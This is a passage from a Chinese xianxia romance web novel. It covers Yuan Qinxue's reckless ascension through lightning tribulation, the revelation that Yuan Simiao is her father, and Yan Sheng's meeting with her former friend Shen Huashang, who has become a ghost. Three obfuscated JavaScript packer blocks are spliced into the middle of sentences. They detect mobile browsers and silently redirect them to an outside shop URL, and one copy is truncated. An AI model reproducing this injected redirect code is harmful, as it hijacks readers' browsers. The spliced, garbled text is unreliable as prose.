纵使是衣冠冢,陆归年和子颜也并未同棺合葬,毕竟两人没成婚。不过,小号棺材里的石刻上,赫然写着颜笙两字。 颜笙仔细比照画中和现实中很多事的不同发展,觉得应该不是因为她的介入而让“颜笙”这个人提前出现。陆归年似乎是蓄意修改了子颜的名字。 他的目的是什么,颜笙并不知道。 颜笙从户头里取出十贯铜钱,正要取几枚还给陆析。 突兀的争吵声打断她取钱的动作,她把钱收回两仪袋,转头瞧向隔壁,不远处站着元沁雪,她正和一根圆脸水萝卜辩论。 水萝卜专门负责钱庄内的高净值客人。 颜笙记得初次遇到元沁雪,曾听到过她心声说“抱朴若是散了,她便只能下山继承祖业”。况且她的容貌,和画卷幻境里那位强大的仙子生得九成像,只是眼睛没柔栀仙子那般无神,很可能是那位仙人转世。 这会看见元沁雪和水萝卜一起,倒也是不奇怪。 只是,他们在吵什么? 这里没有颜笙的神像,附近又嘈杂,远处的声音颜笙听不见。 颜笙拉陆析凑过去,只见元沁雪倾诉道:“我娘离开前,将遗产委托给他们打理投资,每个月可以取出固定收益,现在他们却说我父亲加了个新条款,而我不满足条件。” 她母亲的财产,她父亲有什么资格支配,怕不是想吞没了财产吧?颜笙内心自然是站在元沁雪这边,问道:“什么条件,这么苛刻?” 老隋态度和善地摇头:“只是让她在她爹的神像前面道歉而已,并不算苛刻吧。” 元沁雪坚定地摇摇头,说道:“我没错凭什么道歉。我只是遵照母亲的遗愿,才没将他们合葬。” 颜笙只记得元沁雪是离家上山修行的半仙族,这会儿才听到她具体描述家里的事。 元沁雪的母亲是位下凡的谪仙,父亲是位没拜过任何师门的凡人丹修,两人老来得子生下元沁雪,便约定找个时间一起飞升桃源。 没想到三年不到,丹修父亲历雷劫后身死,从此音信辽邈,留下谪仙娘俩相依为命。谪仙一直以为丹修形神俱毁,心中懊恼不已,从此患上失眠症。 直到某天,谪仙带元沁雪去来福村度假,瞧见有间庙宇,里面立着那位丹修的神像。这下她才知道,她那位身死的夫君,早就已经渡劫成功,却故意与她断绝音信。 后来谪仙突然大病不起,临终前央求元沁雪把他们夫妻分开安葬。 等谪仙入土为安后,那位已飞升的丹修终于露面,他去接母女两人,发现谪仙挟着灵魂逃到了异世。 丹修怪罪到元沁雪身上,他早前托梦过元沁雪,告诉他会接母女两人回去。元沁雪没认出这是她爹,醒来还把梦忘了,没将他的消息传递谪仙。 丹修给元沁雪数落了一顿,还说要罚她跪祠堂,要跪一个月。 元沁雪醒来后,吓得藏匿到鹤冲山里,以逃过父亲的追踪。后来黍三刀修葺荒山时发现了她,便把她收为徒弟。 颜笙听罢笑了,“你爹原本只是说气话,他真若是厌恶你,早就不给这里的财务续上打理费用,或者说他在等你。” 元沁雪道:“可是我逃家这么久,我娘至今下落不明,他的气应该还没消,要不然也不会以道歉做威胁。” 颜笙道:“说是道歉,其实不过是想再见到你。我说,要不今日你去你爹那里看看?” 元沁雪是颜笙的信徒,自然听进去这位假神使的劝告,果真在当日下午去了趟她爹的神庙。颜笙和陆析观戏回去后,瞧见元沁雪抱着一只大盒子回家。 果不出颜笙所料,那位丹修就是借这个由头要元沁雪现身,父女哪有什么长久的仇?丹修不光没有责罚元沁雪,还送她沉甸甸的礼物。 元沁雪打开盒子,发现这里面放着的是一百粒丹药。 颜笙认出了这是修为丹,基础售价比颜笙赐给陆析的延寿丹值钱,还是上品。能获得这么多上品丹药的仙人,在桃源屈指可数,包括颜笙也是今年才有渠道获得。 元沁雪的父亲不简单。 颜笙思前想去,也不记得桃源境有一位元姓丹修。 丹道修行是一种特别的存在。其他修行方式对修行者悟性要求很高,需要他们不断打坐参悟天机,顺着天意而飞升。而丹道修行并不需要悟性,任何人都能通过炼丹和自灌丹药逆天改命,所以飞升的时候常会遭到雷击。 显然这位丹修上神给元沁雪这么多丹药,也是希望通过灌丹药强行飞升。 颜笙离开元沁雪的房间后,就去找了鹿不沾,这会儿陆析也在房间内,正给鹿不沾剥柠檬。 “鹿长老,抱朴派最近需要招纳再一个半仙族弟子了。”颜笙说道,“元沁雪怕是近期要飞升了。” 鹿不沾喝了一口柠檬汁,喉咙里刚体验一丝酸爽,便听见颜笙的话,果汁呛到喉咙里,他问道:“元沁雪的修为才到金丹,能飞升?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064494|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是。”颜笙答。 鹿不沾得到肯定后比起意外,更是问道:“人族灭绝了,我上哪里找半仙族?” 颜笙哀叹一声,人族经历上次冰河期后便濒临灭绝,现在世间这些人形的生物,皆是原本的动植物化形而成,“差点忘了,陆析是最后一个凡人了。” 鹿不沾一拍脑门,展现一副大聪明的模样,说道:“神使大人的意思,是想和陆析造一个?” 两片红霞袭上颜笙脸颊,她恼道:“这是什么胡话。” 她悄咪咪瞥向陆析,观察他的反应,瞧见他面不改色地站着,忽而扬手朝鹿不沾发出一道噤声咒,仿佛刚才没有人说过这混账话似的。 陆析也没向她道歉。 果然是这样。 颜笙刚才听到鹿不沾说让陆析做她面首的事,警戒地看着陆析,说道:“你要是同他这么想,未来可是悬崖峭壁。” 陆析淡淡地回道:“这你放心。” 他们正说着,突然听见一声轰隆雷响。 白日晴天里,一道惊天之雷击中他们所在的客栈,将客栈的房顶击成焦黑。 颜笙惊觉地望天,瞧见一片宽广的黑云飘来,云端上站着一排手举雷锤的鸟人。这是桃源的渡劫仙官,专门负责三界的渡劫事宜。 今天有人要飞升? 可是飞升一般都是去空旷无人的地方,怎么会有人在人多密集的地方。 陆析道:“是元沁雪。” 鹿不沾手里的柠檬捏爆了,它瞪大了眼珠子,“这说飞升就飞升啊,完了,回去咋向三刀交代啊。” 颜笙突然意识到,元沁雪压根不是丹修,不知道丹修的法力提升一档都会经历相应的雷劫,所以通常会选择循序渐进地吞丹,以分散雷劫的力度。 她似乎是一口气吞下所有丹药,进而把各阶段的雷劫全部攒到了一起。 客栈里乱成一锅粥,所有人从客栈里蜂拥而出,鹿不沾试图从客栈逃跑,但由于惊吓跑着化成了原形长颈鹿,它的长脖子卡在客栈的门口。 颜笙赶紧在楼下开了一道结界,护送楼内的所有住户暂时逃离客栈。 元沁雪也想从楼上下去,被颜笙拦住了。若是在渡劫过程中伤害到生灵,元沁雪的飞升之路也破灭。 陆析导慌乱的人群,颜笙则给天上的仙官门发出信号,叫他们暂缓一下放雷,以免伤及无辜。 最后,颜笙前脚刚把脖子卡在门口的鹿不沾推出来,后脚那道惊雷轰隆一声降下,那是一道积蓄良久的惊天巨雷。 一眨眼的功夫,整间客栈化为焦土,而那片废墟离着鹿不沾只有一毫厘距离,他的尾巴毛烧掉了一半。 33. 来福村(四) 事后清理现场,只在客栈旧址上见到一片焦土,元沁雪遗形尽无。 除她之外,并无他人伤亡,但整座客栈焚毁。正值旺季,老板的损失不小。 为平息风波,鹿不沾咬牙从小金库掏出一万灵石赔偿。他捧着被烧焦的尾巴毛,一边小口啃柠檬,一边心酸。 鹿不沾心里盘算:等他回去了,非得好好敲黍三刀一笔,才能弥补这身心损失。 鹿不沾虽为此事头疼不已,但他终究是元沁雪的师叔。像元沁雪这等被雷劈得尸骨无存,天空半缕祥云都没有的,鹿不沾着实没见过,也不知元沁雪是否飞升了,心道她应该是渡劫失败了。 思前想去,鹿不沾决定为元沁雪立一座衣冠冢。 三日后,鹿不沾前往钱庄查账。要说好心有好报,这话真不假,一查之下,竟发现自己账上凭空多出了两万灵石,汇款人署名“须晴仙子”。 回来后,鹿不沾将这事说与颜笙听,可颜笙对着这个名字,也感到十分陌生。 她虽不敢说认得仙界每一张脸,但对所有仙人的名讳都了然于心。平日里,她的工作便是在每场宴会前统计宾客姓名、拟写并发出邀函。可“须晴”二字,她毫无印象。 看来,是来了新人。 既是有新人入桃源境,颜笙便得尽快回去一趟,查清对方的仙职与喜好,才能安排下一次的宴会事宜。 于是当日下午,她便动身返回了显熠宫。 正巧遇见了熟人。袁思邈站在显熠宫门口踱来踱去,似乎有些不安。 根据仙及的情报,袁思邈在门口已经站了三日。 颜笙问:“近来休沐,你到此所谓何事?” 袁思邈拱手:“敢问显熠宫内可有闲缺?” 这是要来转岗?颜笙眉头一皱,顿感不妙。袁思邈做事效率极高,表面是好事。可他过分勤勉,放到显熠宫做事,宫内不出一个月便会卷起来。 这实在影响心情。 颜笙婉转表示:“你在刑部业绩突出,忽地要转职,是谁排挤你了?我带你去刑部找他算账。” 袁思邈忙摆手:“不是我,是我流落在外的独女须晴仙子,三日前方才飞升。她素来仰慕颜笙上神,想问显熠宫可否收留她?” 颜笙想了想,袁思邈擅长炼丹,须晴仙子又是三日前飞升,还给鹿不沾打了两万灵石。这不就是三日前飞升的元沁雪? 她赶忙问道:“元沁雪是你的孩子?可她和你不是一个姓。” 袁思邈点头,“正是小女须晴。百年前我们父女闹了矛盾,她为了躲我,改跟她姥姥姓元,用上了她的乳名沁雪。最近通过您的一位神使好言相劝,她这才肯愿意见我。” 颜笙“嗯”一声,又听到袁思邈说要感谢那位神使,问颜笙知不知道鹤冲山除了崔瑶以外的另一位神使是谁。 这时元沁雪突然出现,瞧见颜笙时喊了一声:“神使大人。” 颜笙在袁思邈诧异目光的注视下,尴尬地指了指自己,“你说的神使,好像是我。” “想不到那位出手相助的神使,竟然是颜笙上神。”袁思邈对此感激不尽,“改日我自会送上十颗上品丹药,至于沁雪的安排…..” 颜笙道:“她是抱朴派弟子,而抱朴派是我的道场,她本就该入我门下。我还想担心百花宫的人会把她带走,这下我算是放心了。” “百花宫?那不是我娘曾经呆过的地方?”元沁雪突然问袁思邈。 袁思邈问道:“那你想去哪里?百花宫还是刑部?” 元沁雪立刻站到颜笙身后,“当然是显熠宫,我要侍奉颜笙上神。” 颜笙道:“正巧藏卷阁缺人打理,你先到那里一段日子,顺便多翻阅卷宗熟悉业务。” 袁思邈更是感激,除了先前许诺给颜笙的十颗丹药外,又给了颜笙三颗甲等延寿丹。 颜笙打算这些延寿丹带给圆胖橘和陆析,陆析只留一颗,余下两颗丹药都给圆胖橘,毕竟圆胖橘比谁都需要丹药吊着命。 除此之外,袁思邈还向颜笙透露一件事。 崔巍近日和花影也去了来福村,说是要在那里过花朝节。据说在花朝节后,崔巍将要迎娶一位新的神妃,花影阻挡不了打算在花朝宴当日生事。 至于袁思邈为何会清楚这点。那是因为花影获悉近日来福村有人飞升,直接跑到他家里要人,后来才发现他是错把元沁雪当成崔巍的新妃。 袁思邈说:“崔巍向来畏惧小甜椒,尤其是雪儿和她容貌极像。闹出此等乌龙后,崔巍给我寄来不少炼丹材料,回头你若还需要延寿丹,尽管向沁雪开口。” 小甜椒就是袁思邈那位亡故的妻子,也是元沁雪的娘亲。颜笙听到这里才明白,原来袁思邈的娘子竟是柔栀仙子,原名是叫做裴天骄。 这也解释了柔栀仙子为何法力高强,因为她的母亲是创世元神。 * 总而言之,今年的花朝节不太平。 颜笙想要着手应对,忽想起了陆析和不靠谱的鹿不沾,他们下山伏妖的队伍原本是三人,如今元沁雪飞升成仙,伏妖队伍只剩下两人,便想着替她的神使元沁雪收拾摊子。 但转念一想,陆析他们到来福村的任务能有多难,无非是去捉偷萝卜的兔子精和偷鸡的黄皮子精。 颜笙一大早就催促着陆析、鹿不沾起床,去爬城郊的鸽子山,走在路上又催促他们快点找黄皮子。 “鸽子山是景点,到处都养着鸽子,哪里会放黄皮子进去?“陆析觉得莫名奇妙,一问才知颜笙是要帮他除妖,他赶忙问圆胖橘:“是你又胡说,说我们是要除妖了?” 圆胖橘嘴里填满一百铜板三颗的景点橘子,怀里抱着能遮住他半边脸的肥美小鱼干,一脸无辜地摇头。 颜笙抱着早市竞价来的特级白萝卜,好奇道:“你们的任务是什么?不是打黄皮子,难道是为了保卫萝卜?” 鹿不沾抱着十箱柠檬,转头回答:“都不是。回去我们再说。” 等他们回到客栈,陆析拿出一幅画。 画中是一副夜景图,江畔的长街的人群熙熙攘攘,挂着昏黄的灯笼,静谧的江面上,莲花灯也如繁星般散落。 远处长裙女子踩着江中波澜翩翩起舞,晚风轻轻拂过江面,绿罗裙摆微微扬起,裙下却是空荡荡。 颜笙不以为意:“幽魂若不伤人,仙门无权捉妖。” 陆析摇头:“委托不是伏妖,是解救。去年花朝,委托人曾目睹其舞,当即记住了她。月前又在寺里见到她在愿望树上挂着的心愿牌,落款是‘沈若玄’。” 沈若玄,乃是大庚朝的皇妃,千年之前便已离世。起初委托人以为仅是同姓同名,可回去仔细端详女子画像,发现她裙摆之下竟是空的。 也就是说,她并非活人,而很可能是那位千年前香消玉殒的妃嫔沈若玄。 颜笙与沈若玄生于同一时代,对这名字如雷贯耳。她是盛世时皇帝最宠爱的妃子,沈家也因她得势,在盛世中风头无两。 可惜皇帝识才能力不足,缔造盛世全赖其姑奶奶和姨母——那位大刀阔斧推行科举改革的女皇,与四处暗访人才、礼贤下士的长公主。 他登基后,却将科举改为“露名考试”,选官只挑巧言令色的庸才。等前人栽培的人才告老还乡,王朝的噩梦开始了。 后来粮道崩坏,朝廷不愿花钱修仓,反而一味从他处调运存粮。各地见状纷纷效仿,上行下效。待到天灾降临,官仓无粮赈济,民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069234|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨四起。 朝堂之上,他放任几派势力激烈内斗。有臣子匿名检举,他得知后竟取消检举上访之制。党争数年不休,终致叛乱爆发,几乎亡国。 可笑的是,后世掌笔之史官,竟将一切罪责推给后宫中的生活奢靡的沈若玄,就像侮辱他姨母和姑奶奶似的,仿佛这皇帝没享受过这奢靡。沈若玄从未涉足朝政,却被迫背负“红颜祸水”之骂名,最终香消玉殒,未入皇陵,只被孤零零葬于鹤冲山下。 颜笙前世和沈若玄有过交集,但没见过面。 记得沈若玄与她同是藏凤县人,因常思念家乡的荔枝。宫中便派人至颜笙所在的道观采购,为保持荔枝鲜润,道观还需施以冰冻咒术,专供皇家。 陆析接着说道:“委托人怀疑,她是被什么力量强留在此地。他猜测,萝卜精们为了观光生意,施法将她的魂魄困在了来福村。” 鹿不沾凑过来,指了指早市上买的大萝卜,插话道:“萝卜都是实心眼子,又好养活,我不信他们会为了蝇头小利去拘禁灵魂。” “我也不信这说法。”陆析答道,“来福村是在她死后才建立的村落。若她真受困于此,那也早该是更久之前的事了。” 颜笙说道:“我在这里的道观中修行过。记得观主在道观周围立过结界,周遭百里之内不会受到邪祟侵犯。沈若玄陵墓应该也在这附近,所以不至于有邪祟缠住她的灵魂,导致她无法投胎。” 鹿不沾判断道:“那就是她自愿留在这里的咯。” 颜笙和陆析不作声。 鹿不沾说道:“你们这样给委托人回复,抱朴派是拿不到赏金的。要不,你们把那女鬼先抓来问话吧。” 这时颜笙的房门被敲响,圆胖橘跑去开门。门外站着一位头戴朱冠的白衣男子,颜笙认出他是村长季福来。 季福来此次前来是向颜笙道谢的,前些日子元沁雪的飞升引动雷劫,幸好颜笙及时帮助客栈疏散人群,才不至于酿成大祸。 这会儿他邀请颜笙去村长的住处一小叙,在路上颜笙才得知,季福来的爷爷季福报是裴天骄饲养的灵宠,他是看着元沁雪长大的。 所以这次元沁雪造成的风波,季福来并不打算追究责任。但袁思邈已经替元沁雪支付了赔偿,他有点觉得不好意思,想让颜笙帮忙退回去。 颜笙伸手推拒:“他应该不会收回去的,这次他也给了我不少谢礼,况且沁雪确实给这里造成不小的损失,你还是收着吧。” 几番推让后,季福来便也不再继续。 颜笙忽想起陆析的任务,便向季福来提起花朝节庆典的领舞女子:“听人说,领舞是大庚的王妃沈若玄?” 季福来干干脆脆地承认:“是她。” 颜笙问道:“怎么会在这里?为何还不投胎?” 季福来说到这里,便是摇摇头,叹惋的语气:“说是在等一个人。大伙儿都说是在等那个狗皇帝,我也这么以为。后来狗皇帝的转世来了,她反而故意缺勤一次花朝节庆典。” “市面上那些爱情传说,皆是‘忠君’的男文人们杜撰的。花季少女怎会爱老头?”颜笙嗤之以鼻,复又问:“她可否说过究竟在等谁?“ “沈若玄说她也忘了,或许哪天见到了就能想起来呢。”季福来说道。 颜笙提出要见沈若玄,没多久屋内进来一位女子,身子轻飘飘的,估摸着裙下没有腿。 那女子冷冷淡淡的,进来后也不说话。 颜笙看着她的脸,觉得她极为眼熟,像极了她入空门前的俗世好友沈华裳,便轻轻唤了一声,“羽之,是你在这里?” 女子听到这称谓,细秀的长眉凝起。 季福来向颜笙介绍这位女子:“她便是沈若玄。” 34. 霓裳曲(一) 季福来又向两人互相介绍了身份,邀两人入座后,便离开了房间。 颜笙百思不得其解。沈华裳是她前世的友人,压根不是那位赫赫有名的沈贵妃——她冒名那位女子,又有何必要? 她脑海中回忆起前世为人的经历。 颜笙之父是恒州刺史,沈华裳之父则为刺史属官。两家女儿年纪相仿,自小一同玩耍,也一同读书学习。 后来,沈华裳嫁给了八皇子高町。可惜婚后五年便早逝。其后,高町趁战乱逼先皇退位,登基为帝,终身未再娶。 眼前的沈华裳笑容虚伪,声音略带刻薄:“颜笙上神今日光临寒舍,小民倒是有失远迎。不过你我算是老相识,想必不会与小民一般见识吧?” 颜笙讶然问道:“你是羽之,还是沈贵妃?” 她与沈贵妃素未谋面,只认识沈华裳一个人。但眼前沈华裳的神情倨傲,实在难以与记忆中那温婉的好友对应。 沈华裳听到颜笙的声音,嘴角微微向下,心底不平。想到两人分别后各自的际遇,心头更觉酸涩,便冷声道:“你是来奚落我的么?” 颜笙未解其意,仍微笑道:“若你真是沈贵妃,我还来不及感谢你。” 沈贵妃昔日常遣人至鹤冲县购置鲜果,不止荔枝。这无疑是变相帮衬她的生活,也让道观收入颇丰。待颜笙飞升后,她的果园声名大噪,慕名而来的仙人络绎不绝,皆因她曾有皇商之誉。 这份感激,颜笙是真心的。 然而沈华裳听去,却只觉讽刺,冷笑道:“感谢我偷走你的亲事,让你顺利拜入修门,最后嫁给天道?” 颜笙幼时额头饱满、地阁丰腴,术士断言她有“凤唳九逵”之相,一生三次婚运。前两次缘浅易错,第三次最盛,却在五百年之后。 沈华裳则被断为“双颊削薄、无福无禄”,原属僧道之相。然她被天道另授使命,若能顺利完成,便可位列仙班。 只是,这使命艰难非常,如同玄鸟末代皇妃莲江仙,虽助奉天取得天命,但引得人间生灵涂炭,在登仙前一夕功亏一篑。 当时两家谁都未信这预言——毕竟谁会信“五百年后再婚”的说法? 八皇子高町之母为继后。宫中原皇后早亡,仅留一嫡子,因此高町是嫡次子。继后听闻恒州藏凤县有一女命带“皇后之相”,便以寿宴为名邀请颜笙赴永安。 永安城是混沌界最繁华之地,乃每个青年男女心中的圣境。沈华裳央求颜笙同行,颜笙遂应允。 继后对颜笙极为满意,言谈甚是亲厚,甚至允诺让高町迎她为正妃,还特意取走她的生辰八字,言称要合婚,并许诺会向皇帝请一道赐婚圣旨。 岂料宴后十日,颜笙也没得到赐婚旨意。而八皇子赐婚的旨意落到同日赴宴的沈华裳身上。 此变故一出,众说纷纭。主流说法是,虽然宴会当日继后中意颜笙,但拿她的八字合婚后发现她命格太硬,克夫克父克母,这才换亲成了沈华裳。 颜笙因此事名声受损,门前求亲者不再像往日那般络绎不绝,媒人看见她都像避瘟神似的。但其实颜太守也察觉到盛世将衰,借着此事将颜笙送至鹤冲县道观避世。 果然不久后战乱骤起。 颜笙的家人尽被贼人掳走,她父亲不肯屈服,仍痛骂逆贼,被割断舌头,后被残忍虐杀,家中其他家眷也被肢解烹食。 昏庸天子听信谗言,不予褒赠,反将幸存的族人囚入大牢。 颜笙悲痛欲绝,门派又遭灭,本就容易被激怒。恰好她又回忆起自己前世的死,便把这些恨意叠加到对陆归年的恨上,遂上鹤冲山寻仇。 在去过玄鸟国之后,她想起这些往事才终于释怀。她第一世的父亲子幽虐杀了陆贺年、陆归年的亲人,上一世她亲人惨死,不过是旧事重演罢了。 颜笙感叹:“事事有因果。投胎第一世时罪孽太多,到后来的转世时全报应在我身上了。那些闲言碎语倒真应验了。我克六亲,如今一个家人不剩。” “这样啊。你的意思我也是活该?”沈华裳语带火气,没等颜笙解释,她转而不含感情地笑道:“可能以前我总被你压着,所以老天也赐我机会,让我能压过你。” 颜笙依旧微笑,沈华裳过去与她说话的时候就阴阳怪气的,所以她压根不知昔日好友心里是恨她的,还与回忆起两人小时候的事,诚心夸道:“羽之从小比我聪颖,每次先生考教,我都排在你后面。” 沈华裳冷声:“别叫羽之这么亲密。过几天我便是神妃,你还得按天律唤我沈贵妃。” “神妃?沈贵妃?”颜笙听着,心中一惊。 前几日听袁思邈与花影提起,神尊即将纳的新妃就住在来福村,飞升之期在即。原来这位神妃竟是沈华裳! 况且贵妃的位份在普通嫔妃之上,这也难怪前阵子身为普通嫔妃的花影闻此消息会如此失态。 花影昔年在百花宫为仙时,性情和顺单纯,后来入宫之后也变得阴险狡诈。颜笙不愿旧友入歧途,便劝道:“崔巍并非良人,后宫少说三万妃嫔,宫中并不和睦。” 沈华裳不屑:“我在意这些?只要能压你一头就够了。” 颜笙见她冥顽不灵,叹息道:“在桃源,名头是最虚的,还是自己有傍身的实力更重要!天道魂消千年,若不是我费尽心思提升他的存在感,恐怕这世间早无神记得天道,而谁又会因我是天道遗孀而畏惧我?” 其实陆归年走后,众神曾想抹去天道之名,改尊神尊为最高位。颜笙借礼官之职,每年雷打不动操办祭祀,以此维系天道地位。 万年后的今日,陆归年纵久未现,至今仍为三界最高位神。 沈华裳半晌沉默,随即不耐:“你今日来,是叙旧还是炫耀?又夹着满口的大道理,听得我耳朵都起茧了。” 颜笙柔声请求道:“我有一位人族小友,想请你帮忙。你放心,此事了后我便带他离开,不会耽搁你。若你无事,可否——” “你哪只眼睛看见我没事?”沈华裳厉声打断,双眼无神,冷冷道:“出去。”话音刚落,她将颜笙推了出去。 颜笙站在门外,摇头叹息。 *35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074285|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 花朝节 今日的来福城灯火通明,如一座不夜城。陆析等人所住客栈正在重建,这段日子他与颜笙同住一处。 不同于画中世界,颜笙从未让陆析进过她的房间。唯有花朝节这日,她才邀请住在下层客房的陆析上楼小聚。 颜笙推开窗户,正对一盏碧绿纸灯。那灯停在窗外,既不上升,也不下沉。 圆胖橘幻化成猫,跳上陆析肩头,借力一跃,扑向灯笼。谁知灯笼被这一触,竟缓缓升空,穿过层层飞云,眼见着空中的星子触手可摘。 忽地炮仗声响起。一朵烟花窜得比灯笼还快,在天空中燃尽,又袭向绿灯笼。 千钧一发之际,凛冽的北风骤起,把绿灯笼吹得远远地。圆胖橘吓得紧紧抱着灯笼,他不敢放手,生怕一不留神就掉下去,摔个粉身碎骨。 灯笼没有逆风而行,更非漫无章法地闲游。它转弯去了季福来家附近的朱甍画楼,随后慢慢下降,停靠在沈华裳的窗前。 那扇窗子紧闭。按说今日正是热闹的日子,谁不想凑这个热闹。圆胖橘掏出仙及,而仙及一感知到自由气息,便冲出圆胖橘手心。 仙及身形玲珑,轻而易举地钻入窗户的缝隙。 滚滚雷鸣般的炮仗声响起,一朵硕大的烟花绽放。随之而来的,楼下响起震耳欲聋的欢呼声,淹没了楼内的响动。 忽然,那扇窗“砰”地一声敞开,仙及被气浪掀出。幸有圆胖橘在侧,及时将仙及抱入怀中。 一猫一蝉睁眼向窗户里面瞧,窗边站着一名红发女子,血色宽松长袍披在身上,面容狰狞,竟是一只厉鬼。 颜笙在客栈中见到仙及传回的画面,脸色骤变。 她与陆析赶到现场时,楼下已人山人海。颜笙抬头望见远处屋檐尚在,估摸着沈华裳还未飞升,不由松了一口气。 两人挤入人群,四周皆是游客。颜笙此番下凡为避免上次鹿不沾的尴尬重演,便用了自己过去飞升前所使用的实体,而凡躯五感俱全。 人潮将她与陆析紧紧挤在一处,几乎无隙。 寒夜的空气,竟透着一丝热意。 陆析怕她被挤伤,侧身将她护在怀中,用身体替她挡住推搡。颜笙后背贴着他冰凉却坚实的胸膛,感到他轻轻的呼吸拂过发梢,弄得她痒痒的。 颜笙的耳根子刷地一下泛红,尤其是她现在说不清楚陆析和陆归年之间的关系,总有一种在鹤冲派时的感觉重演。 若说他们两人百年的相处里,颜笙对陆归年没动心,那是不可能的。只是活着的意念远盖过其他冲动。 陆析身上散发的清新薄荷香掩去了人群的汗气,颜笙不知怎的,脑海中不合时宜地想起陆归年倒在血泊的场景。 颜笙微微晃晃脑袋,又出现了“张脆枣”的那双凤目,突然一把推开陆析。 陆析的注意力始终放在前方,没察觉到颜笙的情绪异样,待被推开方知逾矩。这会儿他觉察自己逾矩,赶忙道:“抱歉。” 颜笙心虚地嗯了一声,抬头看向前方,方才意识到他们已到了门口。 35. 霓裳曲(二) 季福来看见颜笙和陆析,顾不上梳理凌乱发丝,悄咪咪地开门,将两人迎入楼内,又迅速把门关上。 他们未明来意,便急匆匆上楼,走到楼梯中段,瞧见圆胖橘和仙及往楼下跑。 狭路相逢,圆胖橘脸上挂彩,伤痕极深,血呼呼啦啦往下流,晕染了半张脸。他见到面前是颜笙,怕伤口吓到她,忍痛捋了一下血渍,说道:“爹,沈娘子突然发狂变成了厉鬼。” 不光圆胖橘如此狼狈,仙及的翅膀也有些破损,颜笙实在不忍直睹,施法临时贴上他们伤口,然后命人扶他们回隔壁厢房休息。 颜笙边走边问季福来:“沈华裳是什么时候变成这样的,是上次我离开后?” 季福来忙摆手,“不是,早上还好好的。刚才是您家这位颜小郎君突然通知我,说是沈贵妃疯了,我便跟着小郎君上楼查看。” 接着,他指了指他的脖子,展示着隐约可见的五道红痕,继续道:“我一上楼,瞧见她一直用指甲在墙壁上抓挠,等我过去时,她竟然掐住我的喉咙。幸好小郎君舍身相救。唉,她这是怎么了。” 此时离门口只差一步,颜笙施法疗愈季福来脖子的勒痕,便急急推门察看。 沈华裳头发散乱,面色惨白,穿着诡异的红衣,双目如一潭死水,双手垂在腿两侧,指甲鲜红而尖锐,指缝间滴落着淋漓鲜血。 但她只是站着,已经不再如圆胖橘他们描述中那般癫狂了。 而开门声音诱使她侧目,她慢悠悠地转头盯着颜笙,缓步朝颜笙走来。 颜笙迟疑着,未做任何动作,眼见人鬼之间的距离不断缩短。陆析比她还要忧虑她的安危,施法支起一道防护罩,挡住沈华裳前进的去路。 沈华裳触碰到那防护罩,被一道金光弹向后方,这反而激怒了沈华裳,她鲜红的指甲骤然尖长,用力地挠向防护罩。 颜笙皱眉,她方才看出来沈华裳没有攻击她的意思,所以才没动作,可没有料想到陆析护她心切,画蛇添足地施法,搞得现在一团乱。 她叹了一口气,说道:“陆析,你先退下,这里有我就是。” 陆析没有离去,不过颜笙已经卸下防护罩,沈华裳忿懥地看着陆析和颜笙,张着五指的尖长指甲,朝着陆析袭来,似是要撕烂他的脖子。 颜笙推开陆析,挡在身前。沈华裳那纤长的指甲径直朝颜笙的脖子戳去,千钧一发之际,沈华裳将锋利的指甲偏离,却仍划伤颜笙的脖子。 突然有一道力,将沈华裳弹走。 沈华裳收回手,低头紧张地看着残破指甲上面不属于自己的血液,又惊恐地看着颜笙,看她只是些皮肉伤,既有庆幸也有内疚。 她慢慢向前走,身子束缚在原地。这是一道牢不可摧的定身咒,她瞧见自己站在一块摇晃的浮石上,四周围着熔浆,若她只迈半步,便会失去平衡掉下去。 这显然是传说中陀铃火渊的环境。 这凡人为何会这么邪门的术法? 沈华裳看向颜笙身后的男子。 “陆析”的视线贴着颜笙的脖子上的伤口,手抬缓缓地抬起来,小心翼翼地触上那道伤口。 颜笙觉得伤口有点痒,转头看见陆析傻愣愣光看着干什么,还摆出那副目光,弄得她怪别扭的。 她只好自己施法治愈伤口,又说道:“白日飞升,肉身不灭,但你也不要指望这副凡人的躯壳能像神体似的能够自愈。下次看见了,记得帮我疗伤。” “陆析”讷讷地点头,“好。” 颜笙又给沈华裳解咒。 不过沈华裳刚解开束缚,尚未移动四肢,身上却出现光圈缠绕。元沁雪控制仙索,在众人面前现身,旁边站着的是崔瑶。两人抬头看向颜笙和陆析,便向两人打了招呼。 颜笙问:“你们怎么来的。” 元沁雪说道:“我爹让我过来的。他说近来去炼丹房买药材,遇到了花影买药,买的是玄灵草和薙魂丹。这两种药混合在一起,神仙用了提神醒脑,但对鬼怪这等怨重的灵体,却会放大他们的执念。” 